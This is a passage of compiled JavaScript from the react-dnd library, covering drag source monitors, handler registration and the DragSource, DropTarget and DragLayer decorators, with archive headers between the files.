function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

var isCallingCanDrag = false;
var isCallingIsDragging = false;

var DragSourceMonitorImpl = /*#__PURE__*/function () {
  function DragSourceMonitorImpl(manager) {
    _classCallCheck(this, DragSourceMonitorImpl);

    this.sourceId = null;
    this.internalMonitor = manager.getMonitor();
  }

  _createClass(DragSourceMonitorImpl, [{
    key: "receiveHandlerId",
    value: function receiveHandlerId(sourceId) {
      this.sourceId = sourceId;
    }
  }, {
    key: "getHandlerId",
    value: function getHandlerId() {
      return this.sourceId;
    }
  }, {
    key: "canDrag",
    value: function canDrag() {
      (0, _invariant.invariant)(!isCallingCanDrag, 'You may not call monitor.canDrag() inside your canDrag() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor');

      try {
        isCallingCanDrag = true;
        return this.internalMonitor.canDragSource(this.sourceId);
      } finally {
        isCallingCanDrag = false;
      }
    }
  }, {
    key: "isDragging",
    value: function isDragging() {
      if (!this.sourceId) {
        return false;
      }

      (0, _invariant.invariant)(!isCallingIsDragging, 'You may not call monitor.isDragging() inside your isDragging() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor');

      try {
        isCallingIsDragging = true;
        return this.internalMonitor.isDraggingSource(this.sourceId);
      } finally {
        isCallingIsDragging = false;
      }
    }
  }, {
    key: "subscribeToStateChange",
    value: function subscribeToStateChange(listener, options) {
      return this.internalMonitor.subscribeToStateChange(listener, options);
    }
  }, {
    key: "isDraggingSource",
    value: function isDraggingSource(sourceId) {
      return this.internalMonitor.isDraggingSource(sourceId);
    }
  }, {
    key: "isOverTarget",
    value: function isOverTarget(targetId, options) {
      return this.internalMonitor.isOverTarget(targetId, options);
    }
  }, {
    key: "getTargetIds",
    value: function getTargetIds() {
      return this.internalMonitor.getTargetIds();
    }
  }, {
    key: "isSourcePublic",
    value: function isSourcePublic() {
      return this.internalMonitor.isSourcePublic();
    }
  }, {
    key: "getSourceId",
    value: function getSourceId() {
      return this.internalMonitor.getSourceId();
    }
  }, {
    key: "subscribeToOffsetChange",
    value: function subscribeToOffsetChange(listener) {
      return this.internalMonitor.subscribeToOffsetChange(listener);
    }
  }, {
    key: "canDragSource",
    value: function canDragSource(sourceId) {
      return this.internalMonitor.canDragSource(sourceId);
    }
  }, {
    key: "canDropOnTarget",
    value: function canDropOnTarget(targetId) {
      return this.internalMonitor.canDropOnTarget(targetId);
    }
  }, {
    key: "getItemType",
    value: function getItemType() {
      return this.internalMonitor.getItemType();
    }
  }, {
    key: "getItem",
    value: function getItem() {
      return this.internalMonitor.getItem();
    }
  }, {
    key: "getDropResult",
    value: function getDropResult() {
      return this.internalMonitor.getDropResult();
    }
  }, {
    key: "didDrop",
    value: function didDrop() {
      return this.internalMonitor.didDrop();
    }
  }, {
    key: "getInitialClientOffset",
    value: function getInitialClientOffset() {
      return this.internalMonitor.getInitialClientOffset();
    }
  }, {
    key: "getInitialSourceClientOffset",
    value: function getInitialSourceClientOffset() {
      return this.internalMonitor.getInitialSourceClientOffset();
    }
  }, {
    key: "getSourceClientOffset",
    value: function getSourceClientOffset() {
      return this.internalMonitor.getSourceClientOffset();
    }
  }, {
    key: "getClientOffset",
    value: function getClientOffset() {
      return this.internalMonitor.getClientOffset();
    }
  }, {
    key: "getDifferenceFromInitialOffset",
    value: function getDifferenceFromInitialOffset() {
      return this.internalMonitor.getDifferenceFromInitialOffset();
    }
  }]);

  return DragSourceMonitorImpl;
}();

exports.DragSourceMonitorImpl = DragSourceMonitorImpl;cjs/common/registration.js000064400000001147151677306070011702 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.registerTarget = registerTarget;
exports.registerSource = registerSource;

function registerTarget(type, target, manager) {
  var registry = manager.getRegistry();
  var targetId = registry.addTarget(type, target);
  return [targetId, function () {
    return registry.removeTarget(targetId);
  }];
}

function registerSource(type, source, manager) {
  var registry = manager.getRegistry();
  var sourceId = registry.addSource(type, source);
  return [sourceId, function () {
    return registry.removeSource(sourceId);
  }];
}esm/decorators/utils.js000064400000003113151677306070011205 0ustar00export function getDecoratedComponent(instanceRef) {
  var currentRef = instanceRef.current;

  if (currentRef == null) {
    return null;
  } else if (currentRef.decoratedRef) {
    // go through the private field in decorateHandler to avoid the invariant hit
    return currentRef.decoratedRef.current;
  } else {
    return currentRef;
  }
}
export function isClassComponent(Component) {
  return Component && Component.prototype && typeof Component.prototype.render === 'function';
}
export function isRefForwardingComponent(C) {
  var _item$$$typeof;

  var item = C;
  return (item === null || item === void 0 ? void 0 : (_item$$$typeof = item.$$typeof) === null || _item$$$typeof === void 0 ? void 0 : _item$$$typeof.toString()) === 'Symbol(react.forward_ref)';
}
export function isRefable(C) {
  return isClassComponent(C) || isRefForwardingComponent(C);
}
export function checkDecoratorArguments(functionName, signature) {
  if (process.env.NODE_ENV !== 'production') {
    for (var i = 0; i < (arguments.length <= 2 ? 0 : arguments.length - 2); i++) {
      var arg = i + 2 < 2 || arguments.length <= i + 2 ? undefined : arguments[i + 2];

      if (arg && arg.prototype && arg.prototype.render) {
        // eslint-disable-next-line no-console
        console.error('You seem to be applying the arguments in the wrong order. ' + "It should be ".concat(functionName, "(").concat(signature, ")(Component), not the other way around. ") + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#you-seem-to-be-applying-the-arguments-in-the-wrong-order');
        return;
      }
    }
  }
}esm/decorators/DragLayer.js000064400000021062151677306070011722 0ustar00function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }

function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }

function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }

function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }

function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }

function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } }

function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }

import * as React from 'react';
import { shallowEqual } from '@react-dnd/shallowequal';
import hoistStatics from 'hoist-non-react-statics';
import { invariant } from '@react-dnd/invariant';
import { DndContext } from '../common/DndContext';
import { isPlainObject } from '../utils/js_utils';
import { isRefable, checkDecoratorArguments } from './utils';
export function DragLayer(collect) {
  var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
  checkDecoratorArguments('DragLayer', 'collect[, options]', collect, options);
  invariant(typeof collect === 'function', 'Expected "collect" provided as the first argument to DragLayer to be a function that collects props to inject into the component. ', 'Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer', collect);
  invariant(isPlainObject(options), 'Expected "options" provided as the second argument to DragLayer to be a plain object when specified. ' + 'Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer', options);
  return function decorateLayer(DecoratedComponent) {
    var Decorated = DecoratedComponent;
    var _options$arePropsEqua = options.arePropsEqual,
        arePropsEqual = _options$arePropsEqua === void 0 ? shallowEqual : _options$arePropsEqua;
    var displayName = Decorated.displayName || Decorated.name || 'Component';

    var DragLayerContainer =
    /** @class */
    function () {
      var DragLayerContainer = /*#__PURE__*/function (_React$Component) {
        _inherits(DragLayerContainer, _React$Component);

        var _super = _createSuper(DragLayerContainer);

        function DragLayerContainer() {
          var _this;

          _classCallCheck(this, DragLayerContainer);

          _this = _super.apply(this, arguments);
          _this.isCurrentlyMounted = false;
          _this.ref = React.createRef();

          _this.handleChange = function () {
            if (!_this.isCurrentlyMounted) {
              return;
            }

            var nextState = _this.getCurrentState();

            if (!shallowEqual(nextState, _this.state)) {
              _this.setState(nextState);
            }
          };

          return _this;
        }

        _createClass(DragLayerContainer, [{
          key: "getDecoratedComponentInstance",
          value: function getDecoratedComponentInstance() {
            invariant(this.ref.current, 'In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()');
            return this.ref.current;
          }
        }, {
          key: "shouldComponentUpdate",
          value: function shouldComponentUpdate(nextProps, nextState) {
            return !arePropsEqual(nextProps, this.props) || !shallowEqual(nextState, this.state);
          }
        }, {
          key: "componentDidMount",
          value: function componentDidMount() {
            this.isCurrentlyMounted = true;
            this.handleChange();
          }
        }, {
          key: "componentWillUnmount",
          value: function componentWillUnmount() {
            this.isCurrentlyMounted = false;

            if (this.unsubscribeFromOffsetChange) {
              this.unsubscribeFromOffsetChange();
              this.unsubscribeFromOffsetChange = undefined;
            }

            if (this.unsubscribeFromStateChange) {
              this.unsubscribeFromStateChange();
              this.unsubscribeFromStateChange = undefined;
            }
          }
        }, {
          key: "render",
          value: function render() {
            var _this2 = this;

            return React.createElement(DndContext.Consumer, null, function (_ref) {
              var dragDropManager = _ref.dragDropManager;

              if (dragDropManager === undefined) {
                return null;
              }

              _this2.receiveDragDropManager(dragDropManager); // Let componentDidMount fire to initialize the collected state


              if (!_this2.isCurrentlyMounted) {
                return null;
              }

              return React.createElement(Decorated, Object.assign({}, _this2.props, _this2.state, {
                ref: isRefable(Decorated) ? _this2.ref : null
              }));
            });
          }
        }, {
          key: "receiveDragDropManager",
          value: function receiveDragDropManager(dragDropManager) {
            if (this.manager !== undefined) {
              return;
            }

            this.manager = dragDropManager;
            invariant(_typeof(dragDropManager) === 'object', 'Could not find the drag and drop manager in the context of %s. ' + 'Make sure to render a DndProvider component in your top-level component. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context', displayName, displayName);
            var monitor = this.manager.getMonitor();
            this.unsubscribeFromOffsetChange = monitor.subscribeToOffsetChange(this.handleChange);
            this.unsubscribeFromStateChange = monitor.subscribeToStateChange(this.handleChange);
          }
        }, {
          key: "getCurrentState",
          value: function getCurrentState() {
            if (!this.manager) {
              return {};
            }

            var monitor = this.manager.getMonitor();
            return collect(monitor, this.props);
          }
        }]);

        return DragLayerContainer;
      }(React.Component);

      DragLayerContainer.displayName = "DragLayer(".concat(displayName, ")");
      DragLayerContainer.DecoratedComponent = DecoratedComponent;
      return DragLayerContainer;
    }();

    return hoistStatics(DragLayerContainer, DecoratedComponent);
  };
}esm/decorators/DropTarget.js000064400000005015151677306070012123 0ustar00import { invariant } from '@react-dnd/invariant';
import { isPlainObject } from '../utils/js_utils';
import { registerTarget } from '../common/registration';
import { isValidType } from '../utils/isValidType';
import { TargetConnector } from '../common/TargetConnector';
import { DropTargetMonitorImpl } from '../common/DropTargetMonitorImpl';
import { checkDecoratorArguments } from './utils';
import { decorateHandler } from './decorateHandler';
import { createTargetFactory } from './createTargetFactory';
export function DropTarget(type, spec, collect) {
  var options = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {};
  checkDecoratorArguments('DropTarget', 'type, spec, collect[, options]', type, spec, collect, options);
  var getType = type;

  if (typeof type !== 'function') {
    invariant(isValidType(type, true), 'Expected "type" provided as the first argument to DropTarget to be ' + 'a string, an array of strings, or a function that returns either given ' + 'the current props. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', type);

    getType = function getType() {
      return type;
    };
  }

  invariant(isPlainObject(spec), 'Expected "spec" provided as the second argument to DropTarget to be ' + 'a plain object. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', spec);
  var createTarget = createTargetFactory(spec);
  invariant(typeof collect === 'function', 'Expected "collect" provided as the third argument to DropTarget to be ' + 'a function that returns a plain object of props to inject. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', collect);
  invariant(isPlainObject(options), 'Expected "options" provided as the fourth argument to DropTarget to be ' + 'a plain object when specified. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', collect);
  return function decorateTarget(DecoratedComponent) {
    return decorateHandler({
      containerDisplayName: 'DropTarget',
      createHandler: createTarget,
      registerHandler: registerTarget,
      createMonitor: function createMonitor(manager) {
        return new DropTargetMonitorImpl(manager);
      },
      createConnector: function createConnector(backend) {
        return new TargetConnector(backend);
      },
      DecoratedComponent: DecoratedComponent,
      getType: getType,
      collect: collect,
      options: options
    });
  };
}esm/decorators/decorateHandler.js000064400000027517151677306070013147 0ustar00function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }

function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }

function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }

function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }

function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }

function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } }

function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }

import * as React from 'react';
import { shallowEqual } from '@react-dnd/shallowequal';
import { invariant } from '@react-dnd/invariant';
import hoistStatics from 'hoist-non-react-statics';
import { DndContext } from '../common/DndContext';
import { isPlainObject } from '../utils/js_utils';
import { Disposable, CompositeDisposable, SerialDisposable } from './disposables';
import { isRefable } from './utils';
export function decorateHandler(_ref) {
  var DecoratedComponent = _ref.DecoratedComponent,
      createHandler = _ref.createHandler,
      createMonitor = _ref.createMonitor,
      createConnector = _ref.createConnector,
      registerHandler = _ref.registerHandler,
      containerDisplayName = _ref.containerDisplayName,
      getType = _ref.getType,
      collect = _ref.collect,
      options = _ref.options;
  var _options$arePropsEqua = options.arePropsEqual,
      arePropsEqual = _options$arePropsEqua === void 0 ? shallowEqual : _options$arePropsEqua;
  var Decorated = DecoratedComponent;
  var displayName = DecoratedComponent.displayName || DecoratedComponent.name || 'Component';

  var DragDropContainer =
  /** @class */
  function () {
    var DragDropContainer = /*#__PURE__*/function (_React$Component) {
      _inherits(DragDropContainer, _React$Component);

      var _super = _createSuper(DragDropContainer);

      function DragDropContainer(props) {
        var _this;

        _classCallCheck(this, DragDropContainer);

        _this = _super.call(this, props);
        _this.decoratedRef = React.createRef();

        _this.handleChange = function () {
          var nextState = _this.getCurrentState();

          if (!shallowEqual(nextState, _this.state)) {
            _this.setState(nextState);
          }
        };

        _this.disposable = new SerialDisposable();

        _this.receiveProps(props);

        _this.dispose();

        return _this;
      }

      _createClass(DragDropContainer, [{
        key: "getHandlerId",
        value: function getHandlerId() {
          return this.handlerId;
        }
      }, {
        key: "getDecoratedComponentInstance",
        value: function getDecoratedComponentInstance() {
          invariant(this.decoratedRef.current, 'In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()');
          return this.decoratedRef.current;
        }
      }, {
        key: "shouldComponentUpdate",
        value: function shouldComponentUpdate(nextProps, nextState) {
          return !arePropsEqual(nextProps, this.props) || !shallowEqual(nextState, this.state);
        }
      }, {
        key: "componentDidMount",
        value: function componentDidMount() {
          this.disposable = new SerialDisposable();
          this.currentType = undefined;
          this.receiveProps(this.props);
          this.handleChange();
        }
      }, {
        key: "componentDidUpdate",
        value: function componentDidUpdate(prevProps) {
          if (!arePropsEqual(this.props, prevProps)) {
            this.receiveProps(this.props);
            this.handleChange();
          }
        }
      }, {
        key: "componentWillUnmount",
        value: function componentWillUnmount() {
          this.dispose();
        }
      }, {
        key: "receiveProps",
        value: function receiveProps(props) {
          if (!this.handler) {
            return;
          }

          this.handler.receiveProps(props);
          this.receiveType(getType(props));
        }
      }, {
        key: "receiveType",
        value: function receiveType(type) {
          if (!this.handlerMonitor || !this.manager || !this.handlerConnector) {
            return;
          }

          if (type === this.currentType) {
            return;
          }

          this.currentType = type;

          var _registerHandler = registerHandler(type, this.handler, this.manager),
              _registerHandler2 = _slicedToArray(_registerHandler, 2),
              handlerId = _registerHandler2[0],
              unregister = _registerHandler2[1];

          this.handlerId = handlerId;
          this.handlerMonitor.receiveHandlerId(handlerId);
          this.handlerConnector.receiveHandlerId(handlerId);
          var globalMonitor = this.manager.getMonitor();
          var unsubscribe = globalMonitor.subscribeToStateChange(this.handleChange, {
            handlerIds: [handlerId]
          });
          this.disposable.setDisposable(new CompositeDisposable(new Disposable(unsubscribe), new Disposable(unregister)));
        }
      }, {
        key: "dispose",
        value: function dispose() {
          this.disposable.dispose();

          if (this.handlerConnector) {
            this.handlerConnector.receiveHandlerId(null);
          }
        }
      }, {
        key: "getCurrentState",
        value: function getCurrentState() {
          if (!this.handlerConnector) {
            return {};
          }

          var nextState = collect(this.handlerConnector.hooks, this.handlerMonitor, this.props);

          if (process.env.NODE_ENV !== 'production') {
            invariant(isPlainObject(nextState), 'Expected `collect` specified as the second argument to ' + '%s for %s to return a plain object of props to inject. ' + 'Instead, received %s.', containerDisplayName, displayName, nextState);
          }

          return nextState;
        }
      }, {
        key: "render",
        value: function render() {
          var _this2 = this;

          return React.createElement(DndContext.Consumer, null, function (_ref2) {
            var dragDropManager = _ref2.dragDropManager;

            _this2.receiveDragDropManager(dragDropManager);

            if (typeof requestAnimationFrame !== 'undefined') {
              requestAnimationFrame(function () {
                var _this2$handlerConnect;

                return (_this2$handlerConnect = _this2.handlerConnector) === null || _this2$handlerConnect === void 0 ? void 0 : _this2$handlerConnect.reconnect();
              });
            }

            return React.createElement(Decorated, Object.assign({}, _this2.props, _this2.getCurrentState(), {
              // NOTE: if Decorated is a Function Component, decoratedRef will not be populated unless it's a refforwarding component.
              ref: isRefable(Decorated) ? _this2.decoratedRef : null
            }));
          });
        }
      }, {
        key: "receiveDragDropManager",
        value: function receiveDragDropManager(dragDropManager) {
          if (this.manager !== undefined) {
            return;
          }

          invariant(dragDropManager !== undefined, 'Could not find the drag and drop manager in the context of %s. ' + 'Make sure to render a DndProvider component in your top-level component. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context', displayName, displayName);

          if (dragDropManager === undefined) {
            return;
          }

          this.manager = dragDropManager;
          this.handlerMonitor = createMonitor(dragDropManager);
          this.handlerConnector = createConnector(dragDropManager.getBackend());
          this.handler = createHandler(this.handlerMonitor, this.decoratedRef);
        }
      }]);

      return DragDropContainer;
    }(React.Component);

    DragDropContainer.DecoratedComponent = DecoratedComponent;
    DragDropContainer.displayName = "".concat(containerDisplayName, "(").concat(displayName, ")");
    return DragDropContainer;
  }();

  return hoistStatics(DragDropContainer, DecoratedComponent);
}esm/decorators/index.js000064400000000166151677306070011161 0ustar00export * from './DragSource';
export * from './DropTarget';
export * from './DragLayer';
export * from './interfaces';esm/decorators/DragSource.js000064400000005303151677306070012106 0ustar00import { invariant } from '@react-dnd/invariant';
import { isPlainObject } from '../utils/js_utils';
import { checkDecoratorArguments } from './utils';
import { decorateHandler } from './decorateHandler';
import { registerSource } from '../common/registration';
import { DragSourceMonitorImpl } from '../common/DragSourceMonitorImpl';
import { SourceConnector } from '../common/SourceConnector';
import { isValidType } from '../utils/isValidType';
import { createSourceFactory } from './createSourceFactory';
/**
 * Decorates a component as a dragsource
 * @param type The dragsource type
 * @param spec The drag source specification
 * @param collect The props collector function
 * @param options DnD options
 */

export function DragSource(type, spec, collect) {
  var options = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {};
  checkDecoratorArguments('DragSource', 'type, spec, collect[, options]', type, spec, collect, options);
  var getType = type;

  if (typeof type !== 'function') {
    invariant(isValidType(type), 'Expected "type" provided as the first argument to DragSource to be ' + 'a string, or a function that returns a string given the current props. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', type);

    getType = function getType() {
      return type;
    };
  }

  invariant(isPlainObject(spec), 'Expected "spec" provided as the second argument to DragSource to be ' + 'a plain object. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', spec);
  var createSource = createSourceFactory(spec);
  invariant(typeof collect === 'function', 'Expected "collect" provided as the third argument to DragSource to be ' + 'a function that returns a plain object of props to inject. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', collect);
  invariant(isPlainObject(options), 'Expected "options" provided as the fourth argument to DragSource to be ' + 'a plain object when specified. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', collect);
  return function decorateSource(DecoratedComponent) {
    return decorateHandler({
      containerDisplayName: 'DragSource',
      createHandler: createSource,
      registerHandler: registerSource,
      createConnector: function createConnector(backend) {
        return new SourceConnector(backend);
      },
      createMonitor: function createMonitor(manager) {
        return new DragSourceMonitorImpl(manager);
      },
      DecoratedComponent: DecoratedComponent,
      getType: getType,
      collect: collect,
      options: options
    });
  };
}esm/decorators/createSourceFactory.js000064400000007264151677306070014034 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

import { invariant } from '@react-dnd/invariant';
import { isPlainObject } from '../utils/js_utils';
import { getDecoratedComponent } from './utils';
var ALLOWED_SPEC_METHODS = ['canDrag', 'beginDrag', 'isDragging', 'endDrag'];
var REQUIRED_SPEC_METHODS = ['beginDrag'];

var SourceImpl = /*#__PURE__*/function () {
  function SourceImpl(spec, monitor, ref) {
    var _this = this;

    _classCallCheck(this, SourceImpl);

    this.props = null;

    this.beginDrag = function () {
      if (!_this.props) {
        return;
      }

      var item = _this.spec.beginDrag(_this.props, _this.monitor, _this.ref.current);

      if (process.env.NODE_ENV !== 'production') {
        invariant(isPlainObject(item), 'beginDrag() must return a plain object that represents the dragged item. ' + 'Instead received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', item);
      }

      return item;
    };

    this.spec = spec;
    this.monitor = monitor;
    this.ref = ref;
  }

  _createClass(SourceImpl, [{
    key: "receiveProps",
    value: function receiveProps(props) {
      this.props = props;
    }
  }, {
    key: "canDrag",
    value: function canDrag() {
      if (!this.props) {
        return false;
      }

      if (!this.spec.canDrag) {
        return true;
      }

      return this.spec.canDrag(this.props, this.monitor);
    }
  }, {
    key: "isDragging",
    value: function isDragging(globalMonitor, sourceId) {
      if (!this.props) {
        return false;
      }

      if (!this.spec.isDragging) {
        return sourceId === globalMonitor.getSourceId();
      }

      return this.spec.isDragging(this.props, this.monitor);
    }
  }, {
    key: "endDrag",
    value: function endDrag() {
      if (!this.props) {
        return;
      }

      if (!this.spec.endDrag) {
        return;
      }

      this.spec.endDrag(this.props, this.monitor, getDecoratedComponent(this.ref));
    }
  }]);

  return SourceImpl;
}();

export function createSourceFactory(spec) {
  Object.keys(spec).forEach(function (key) {
    invariant(ALLOWED_SPEC_METHODS.indexOf(key) > -1, 'Expected the drag source specification to only have ' + 'some of the following keys: %s. ' + 'Instead received a specification with an unexpected "%s" key. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', ALLOWED_SPEC_METHODS.join(', '), key);
    invariant(typeof spec[key] === 'function', 'Expected %s in the drag source specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', key, key, spec[key]);
  });
  REQUIRED_SPEC_METHODS.forEach(function (key) {
    invariant(typeof spec[key] === 'function', 'Expected %s in the drag source specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', key, key, spec[key]);
  });
  return function createSource(monitor, ref) {
    return new SourceImpl(spec, monitor, ref);
  };
}esm/decorators/createTargetFactory.js000064400000006125151677306070014015 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

import { invariant } from '@react-dnd/invariant';
import { isPlainObject } from '../utils/js_utils';
import { getDecoratedComponent } from './utils';
var ALLOWED_SPEC_METHODS = ['canDrop', 'hover', 'drop'];

var TargetImpl = /*#__PURE__*/function () {
  function TargetImpl(spec, monitor, ref) {
    _classCallCheck(this, TargetImpl);

    this.props = null;
    this.spec = spec;
    this.monitor = monitor;
    this.ref = ref;
  }

  _createClass(TargetImpl, [{
    key: "receiveProps",
